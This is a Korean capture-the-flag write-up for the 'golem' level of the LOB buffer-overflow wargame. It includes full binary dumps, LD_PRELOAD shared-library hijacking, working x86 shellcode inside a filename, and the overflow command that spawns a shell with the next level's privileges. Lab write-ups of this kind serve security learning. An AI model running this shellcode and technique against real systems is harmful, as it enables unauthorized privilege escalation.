해당 문제를 풀어보기위해 다양한 삽질을 했지만, 풀이법이 보이지 않아 힌트를 찾아보았고
Shared Library Hijacking을 사용해야 한다는 것을 알았다.. 이부분에 대한 상세한 내용은
http://leekeezz.tistory.com/32
해당 위치에서 확인할 수 있다.
그럼 왜 풀이법이 보이지 않았을까 부터 시작해보자. 해당 프로그램의 소스는 아래와 같은데, 골때리게 Stack의 Ret부분을 제외하고는 변수 buffer의 공간, EBP, Argv[0], Argv[1], Env를 다 0으로 초기화해버린다. 도대체 어찌하란 말인가?! 라는 생각에 잠기게 된다.
[skeleton@localhost skeleton]$ cat golem.c /* The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); } |
위에 문서를 읽고왔다면 아래가 무엇을 의미하는지 알 수 있을 것이다. 해당 프로그램이 Shared Library를 사용한다는 의미로 NEEDED libc.so.6이 써있는 것이 보일 것이다. 해당 프로그램은 Shared Library Hijacking이 가능하다는 의미와 일맥상통한다.
golem: file format elf32-i386
Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x000000c0 memsz 0x000000c0 flags r-x INTERP off 0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x0000059d memsz 0x0000059d flags r-x LOAD off 0x000005a0 vaddr 0x080495a0 paddr 0x080495a0 align 2**12 filesz 0x000000ec memsz 0x00000104 flags rw- DYNAMIC off 0x000005ec vaddr 0x080495ec paddr 0x080495ec align 2**2 filesz 0x000000a0 memsz 0x000000a0 flags rw- NOTE off 0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2**2 filesz 0x00000020 memsz 0x00000020 flags r--
Dynamic Section: NEEDED libc.so.6 INIT 0x8048308 FINI 0x804854c HASH 0x8048128 STRTAB 0x8048204 SYMTAB 0x8048164 STRSZ 0x83 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x80495c0 PLTRELSZ 0x38 PLTREL 0x11 JMPREL 0x80482d0 REL 0x80482c8 RELSZ 0x8 RELENT 0x8 VERNEED 0x80482a8 VERNEEDNUM 0x1 VERSYM 0x8048292
Version References: required from libc.so.6: 0x0d696910 0x00 02 GLIBC_2.0 |
좀더 자세한 정보를 얻기위해 readelf 명령어를 통해 결과를 도출한다.
[skeleton@localhost skeleton]$ readelf -a golem ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x80483c0 Start of program headers: 52 (bytes into file) Start of section headers: 9204 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 6 Size of section headers: 40 (bytes) Number of section headers: 29 Section header string table index: 26
Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 080480f4 0000f4 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048108 000108 000020 00 A 0 0 4 [ 3] .hash HASH 08048128 000128 00003c 04 A 4 0 4 [ 4] .dynsym DYNSYM 08048164 000164 0000a0 10 A 5 1 4 [ 5] .dynstr STRTAB 08048204 000204 00008d 00 A 0 0 1 [ 6] .gnu.version VERSYM 08048292 000292 000014 02 A 4 0 2 [ 7] .gnu.version_r VERNEED 080482a8 0002a8 000020 00 A 5 1 4 [ 8] .rel.got REL 080482c8 0002c8 000008 08 A 4 13 4 [ 9] .rel.plt REL 080482d0 0002d0 000038 08 A 4 b 4 [10] .init PROGBITS 08048308 000308 00002f 00 AX 0 0 4 [11] .plt PROGBITS 08048338 000338 000080 04 AX 0 0 4 [12] .text PROGBITS 080483c0 0003c0 00018c 00 AX 0 0 16 [13] .fini PROGBITS 0804854c 00054c 00001a 00 AX 0 0 4 [14] .rodata PROGBITS 08048568 000568 000035 00 A 0 0 4 [15] .data PROGBITS 080495a0 0005a0 00000c 00 WA 0 0 4 [16] .eh_frame PROGBITS 080495ac 0005ac 000004 00 WA 0 0 4 [17] .ctors PROGBITS 080495b0 0005b0 000008 00 WA 0 0 4 [18] .dtors PROGBITS 080495b8 0005b8 000008 00 WA 0 0 4 [19] .got PROGBITS 080495c0 0005c0 00002c 04 WA 0 0 4 [20] .dynamic DYNAMIC 080495ec 0005ec 0000a0 08 WA 5 0 4 [21] .bss NOBITS 0804968c 00068c 000018 00 WA 0 0 4 [22] .stab PROGBITS 00000000 00068c 000750 0c 23 0 4 [23] .stabstr STRTAB 00000000 000ddc 00134f 00 0 0 1 [24] .comment PROGBITS 00000000 00212b 00016e 00 0 0 1 [25] .note NOTE 080496a4 002299 000078 00 0 0 1 [26] .shstrtab STRTAB 00000000 002311 0000e3 00 0 0 1 [27] .symtab SYMTAB 00000000 00287c 0004f0 10 28 39 4 [28] .strtab STRTAB 00000000 002d6c 00023b 00 0 0 1
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x000c0 0x000c0 R E 0x4 INTERP 0x0000f4 0x080480f4 0x080480f4 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x0059d 0x0059d R E 0x1000 LOAD 0x0005a0 0x080495a0 0x080495a0 0x000ec 0x00104 RW 0x1000 DYNAMIC 0x0005ec 0x080495ec 0x080495ec 0x000a0 0x000a0 RW 0x4 NOTE 0x000108 0x08048108 0x08048108 0x00020 0x00020 R 0x4
Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.got .rel.plt .init .plt .text .fini .rodata 03 .data .eh_frame .ctors .dtors .got .dynamic .bss 04 .dynamic 05 .note.ABI-tag
Dynamic segment at offset 0x5ec contains 20 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000c (INIT) 0x8048308 0x0000000d (FINI) 0x804854c 0x00000004 (HASH) 0x8048128 0x00000005 (STRTAB) 0x8048204 0x00000006 (SYMTAB) 0x8048164 0x0000000a (STRSZ) 131 (bytes) 0x0000000b (SYMENT) 16 (bytes) 0x00000015 (DEBUG) 0 0x00000003 (PLTGOT) 0x80495c0 0x00000002 (PLTRELSZ) 56 (bytes) 0x00000014 (PLTREL) REL 0x00000017 (JMPREL) 0x80482d0 0x00000011 (REL) 0x80482c8 0x00000012 (RELSZ) 8 (bytes) 0x00000013 (RELENT) 8 (bytes) 0x6ffffffe (VERNEED) 0x80482a8 0x6fffffff (VERNEEDNUM) 1 0x6ffffff0 (VERSYM) 0x8048292 0x00000000 (NULL) 0
Relocation section '.rel.got' at offset 0x2c8 contains 1 entries: Offset Info Type Symbol's Value Symbol's Name 080495e8 00806 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2d0 contains 7 entries: Offset Info Type Symbol's Value Symbol's Name 080495cc 00107 R_386_JUMP_SLOT 08048348 __register_frame_info 080495d0 00207 R_386_JUMP_SLOT 08048358 __deregister_frame_info 080495d4 00307 R_386_JUMP_SLOT 08048368 __libc_start_main 080495d8 00407 R_386_JUMP_SLOT 08048378 printf 080495dc 00507 R_386_JUMP_SLOT 08048388 exit 080495e0 00607 R_386_JUMP_SLOT 08048398 memset 080495e4 00907 R_386_JUMP_SLOT 080483a8 strcpy
Symbol table '.dynsym' contains 10 entries: Num: Value Size Type Bind Ot Ndx Name 0: 0 0 NOTYPE LOCAL 0 UND 1: 8048348 116 FUNC WEAK 0 UND __register_frame_info@GLIBC_2.0 (2) 2: 8048358 162 FUNC WEAK 0 UND __deregister_frame_info@GLIBC_2.0 (2) 3: 8048368 261 FUNC GLOBAL 0 UND __libc_start_main@GLIBC_2.0 (2) 4: 8048378 41 FUNC GLOBAL 0 UND printf@GLIBC_2.0 (2) 5: 8048388 232 FUNC GLOBAL 0 UND exit@GLIBC_2.0 (2) 6: 8048398 70 FUNC GLOBAL 0 UND memset@GLIBC_2.0 (2) 7: 804856c 4 OBJECT GLOBAL 0 14 _IO_stdin_used 8: 0 0 NOTYPE WEAK 0 UND __gmon_start__ 9: 80483a8 34 FUNC GLOBAL 0 UND strcpy@GLIBC_2.0 (2)
Symbol table '.symtab' contains 79 entries: Num: Value Size Type Bind Ot Ndx Name 0: 0 0 NOTYPE LOCAL 0 UND 1: 80480f4 0 SECTION LOCAL 0 1 2: 8048108 0 SECTION LOCAL 0 2 3: 8048128 0 SECTION LOCAL 0 3 4: 8048164 0 SECTION LOCAL 0 4 5: 8048204 0 SECTION LOCAL 0 5 6: 8048292 0 SECTION LOCAL 0 6 7: 80482a8 0 SECTION LOCAL 0 7 8: 80482c8 0 SECTION LOCAL 0 8 9: 80482d0 0 SECTION LOCAL 0 9 10: 8048308 0 SECTION LOCAL 0 10 11: 8048338 0 SECTION LOCAL 0 11 12: 80483c0 0 SECTION LOCAL 0 12 13: 804854c 0 SECTION LOCAL 0 13 14: 8048568 0 SECTION LOCAL 0 14 15: 80495a0 0 SECTION LOCAL 0 15 16: 80495ac 0 SECTION LOCAL 0 16 17: 80495b0 0 SECTION LOCAL 0 17 18: 80495b8 0 SECTION LOCAL 0 18 19: 80495c0 0 SECTION LOCAL 0 19 20: 80495ec 0 SECTION LOCAL 0 20 21: 804968c 0 SECTION LOCAL 0 21 22: 0 0 SECTION LOCAL 0 22 23: 0 0 SECTION LOCAL 0 23 24: 0 0 SECTION LOCAL 0 24 25: 80496a4 0 SECTION LOCAL 0 25 26: 0 0 SECTION LOCAL 0 26 27: 0 0 SECTION LOCAL 0 27 28: 0 0 SECTION LOCAL 0 28 29: 0 0 FILE LOCAL 0 ABS initfini.c 30: 80483e4 0 NOTYPE LOCAL 0 12 gcc2_compiled. 31: 0 0 FILE LOCAL 0 ABS init.c 32: 0 0 FILE LOCAL 0 ABS crtstuff.c 33: 80483f0 0 NOTYPE LOCAL 0 12 gcc2_compiled. 34: 80495a4 0 OBJECT LOCAL 0 15 p.2 35: 80495b8 0 OBJECT LOCAL 0 18 __DTOR_LIST__ 36: 80495a8 0 OBJECT LOCAL 0 15 completed.3 37: 80483f0 0 FUNC LOCAL 0 12 __do_global_dtors_aux 38: 80495ac 0 OBJECT LOCAL 0 16 __EH_FRAME_BEGIN__ 39: 8048438 0 FUNC LOCAL 0 12 fini_dummy 40: 804968c 24 OBJECT LOCAL 0 21 object.8 41: 8048440 0 FUNC LOCAL 0 12 frame_dummy 42: 8048460 0 FUNC LOCAL 0 12 init_dummy 43: 80495ac 0 OBJECT LOCAL 0 15 force_to_data 44: 80495b0 0 OBJECT LOCAL 0 17 __CTOR_LIST__ 45: 0 0 FILE LOCAL 0 ABS crtstuff.c 46: 8048520 0 NOTYPE LOCAL 0 12 gcc2_compiled. 47: 8048520 0 FUNC LOCAL 0 12 __do_global_ctors_aux 48: 80495b4 0 OBJECT LOCAL 0 17 __CTOR_END__ 49: 8048544 0 FUNC LOCAL 0 12 init_dummy 50: 80495ac 0 OBJECT LOCAL 0 15 force_to_data 51: 80495bc 0 OBJECT LOCAL 0 18 __DTOR_END__ 52: 80495ac 0 OBJECT LOCAL 0 16 __FRAME_END__ 53: 0 0 FILE LOCAL 0 ABS initfini.c 54: 804854c 0 NOTYPE LOCAL 0 12 gcc2_compiled. 55: 0 0 FILE LOCAL 0 ABS golem.c 56: 8048470 0 NOTYPE LOCAL 0 12 gcc2_compiled. 57: 80495ec 0 OBJECT GLOBAL 0 20 _DYNAMIC 58: 804854c 0 OBJECT GLOBAL 0 ABS _etext 59: 8048348 116 FUNC WEAK 0 UND __register_frame_info@@GLIBC_2.0 60: 0 4 NOTYPE GLOBAL 0 UND _fp_hw 61: 8048308 0 FUNC GLOBAL 0 10 _init 62: 8048358 162 FUNC WEAK 0 UND __deregister_frame_info@@GLIBC_2.0 63: 80483c0 0 NOTYPE GLOBAL 0 12 _start 64: 804968c 0 OBJECT GLOBAL 0 ABS __bss_start 65: 8048470 168 FUNC GLOBAL 0 12 main 66: 8048368 261 FUNC GLOBAL 0 UND __libc_start_main@@GLIBC_2.0 67: 80495a0 0 NOTYPE WEAK 0 15 data_start 68: 8048378 41 FUNC GLOBAL 0 UND printf@@GLIBC_2.0 69: 804854c 0 FUNC GLOBAL 0 13 _fini 70: 8048388 232 FUNC GLOBAL 0 UND exit@@GLIBC_2.0 71: 804968c 0 OBJECT GLOBAL 0 ABS _edata 72: 80495c0 0 OBJECT GLOBAL 0 19 _GLOBAL_OFFSET_TABLE_ 73: 80496a4 0 OBJECT GLOBAL 0 ABS _end 74: 8048398 70 FUNC GLOBAL 0 UND memset@@GLIBC_2.0 75: 804856c 4 OBJECT GLOBAL 0 14 _IO_stdin_used 76: 80495a0 0 NOTYPE GLOBAL 0 15 __data_start 77: 0 0 NOTYPE WEAK 0 UND __gmon_start__ 78: 80483a8 34 FUNC GLOBAL 0 UND strcpy@@GLIBC_2.0
Histogram for bucket list length (total of 3 buckets): Length Number % of total Coverage 0 0 ( 0.0%) 1 0 ( 0.0%) 0.0% 2 1 ( 33.3%) 22.2% 3 1 ( 33.3%) 55.6% 4 1 ( 33.3%) 100.0%
Version symbols section '.gnu.version' contains 10 entries: Addr: 0000000008048292 Offset: 0x000292 Link: 4 (.dynsym) 000: 0 (*local*) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 004: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 1 (*global*) 008: 0 (*local*) 2 (GLIBC_2.0)
Version needs section '.gnu.version_r' contains 1 entries: Addr: 0x00000000080482a8 Offset: 0x0002a8 Link to section: 5 (.dynstr) 000000: Version: 1 File: libc.so.6 Cnt: 1 0x0010: Name: GLIBC_2.0 Flags: none Version: 2 |
Shared Library를 만들기 위해 그냥 의미없는 소스코드를 생성하고, 해당 코드를 Shared Library로 컴파일한다. 이때 컴파일할 파일의 이름은 Shellcode로 한다. 우리는 Stack상에 올라간 해당 Shellcode를 이용해서 Shell을 획득할 생각이다.
[skeleton@localhost skeleton]$ cat test.c
void test(){}; |
[skeleton@localhost skeleton]$ gcc shl.c -fPIC -shared -o $(python -c 'print "\x90"*100+"\xeb\x11\x5e\x31
\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1
\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1
\x0c\xce\x81"') |
컴파일한 Shared Library를 등록한다.
[skeleton@localhost skeleton]$ export LD_PRELOAD=$(python -c 'print "/home/skeleton/"+
"\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05
\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54
\x8a\xe2\x9a\xb1\x0c\xce\x81"') |
[skeleton@localhost skeleton]$ env PWD=/home/skeleton LD_PRELOAD=/home/skeleton/�����������������������������������������������
������������������������������������������������������^1ɱ2�l���u���
����2�Qi00tii0cjo��QT�⚱ REMOTEHOST=192.168.13.129 HOSTNAME=localhost.localdomain LESSOPEN=|/usr/bin/lesspipe.sh %s USER=skeleton LS_COLORS= MACHTYPE=i386-redhat-linux-gnu MAIL=/var/spool/mail/skeleton INPUTRC=/etc/inputrc BASH_ENV=/home/skeleton/.bashrc LANG=en_US DISPLAY=Kali2017:0 LOGNAME=skeleton SHLVL=1 SHELL=/bin/bash2 USERNAME= HOSTTYPE=i386 OSTYPE=linux-gnu HISTSIZE=1000 TERM=xterm-256color HOME=/home/skeleton PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/skeleton/bin _=/usr/bin/env |
[skeleton@localhost skeleton]$ gdb -q ./melog (gdb) b main Breakpoint 1 at 0x8048476 (gdb) r $(python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"') Starting program: /home/skeleton/./melog $(python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"')
Breakpoint 1, 0x8048476 in main () (gdb) sharedlibrary Symbols already loaded for /home/skeleton/���������������������������������������
��������������������������������������������������������������^1ɱ2
�l���u�������2�Qi00tii0cjo��QT�⚱ Symbols already loaded for /lib/libc.so.6 Symbols already loaded for /lib/ld-linux.so.2 (gdb) info sharedlibrary From To Syms Read Shared Object Library 0x40015000 0x40016998 Yes
/home/skeleton/������������������������������������������������
���������������������������������������������������
��^1ɱ2�l���u�������2�Qi00tii0cjo��QT�⚱ 0x4001a000 0x4010e85c Yes /lib/libc.so.6 0x40000000 0x40013ed0 Yes /lib/ld-linux.so.2 (gdb) |
0xbffff740: 0x74656c65 0x902f6e6f 0x90909090 0x90909090 0xbffff750: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff760: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff770: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff780: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff790: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff7a0: 0x90909090 0x90909090 0xeb909090 0xc9315e11 0xbffff7b0: 0x6c8032b1 0x8001ff0e 0xf67501e9 0xeae805eb 0xbffff7c0: 0x32ffffff 0x306951c1 0x69697430 0x6f6a6330 0xbffff7d0: 0x5451e48a 0xb19ae28a 0x0081ce0c 0x40013868 0xbffff7e0: 0x4000220c 0xbffffd0e 0x00000000 0x00000000 0xbffff7f0: 0x00000000 0x00000000 0x40014a00 0x00000000 |
(gdb) x/20s 0xbffffd0e 0xbffffd0e: "/home/skeleton/melog" 0xbffffd23: 'A' <repeats 44 times>, "����" 0xbffffd54: "PWD=/home/skeleton" 0xbffffd67: "LD_PRELOAD=/home/skeleton/", '\220' <repeats 100 times>, "�\021^1ɱ2\200l\016�\001\200�\001u��\005�����2�Qi00tii0cjo\212�QT\212�\232�\f�\201" 0xbffffe16: "REMOTEHOST=192.168.13.129" 0xbffffe30: "HOSTNAME=localhost.localdomain" 0xbffffe4f: "LESSOPEN=|/usr/bin/lesspipe.sh %s" 0xbffffe71: "USER=skeleton" 0xbffffe7f: "LS_COLORS=" 0xbffffe8a: "MACHTYPE=i386-redhat-linux-gnu" 0xbffffea9: "MAIL=/var/spool/mail/skeleton" 0xbffffec7: "INPUTRC=/etc/inputrc" 0xbffffedc: "BASH_ENV=/home/skeleton/.bashrc" 0xbffffefc: "LANG=en_US" 0xbfffff07: "DISPLAY=Kali2017:0" 0xbfffff1a: "LOGNAME=skeleton" 0xbfffff2b: "SHLVL=1" 0xbfffff33: "SHELL=/bin/bash2" 0xbfffff44: "USERNAME=" 0xbfffff4e: "HOSTTYPE=i386" |
[skeleton@localhost skeleton]$ ./melog $(python -c 'print "A"*44+"\x50\xf7\xff\xbf"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP��� bash$ exit exit [skeleton@localhost skeleton]$ ./golem $(python -c 'print "A"*44+"\x50\xf7\xff\xbf"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP��� bash$ id uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton) bash$ my-pass euid = 511 cup of coffee bash$ exit exit
|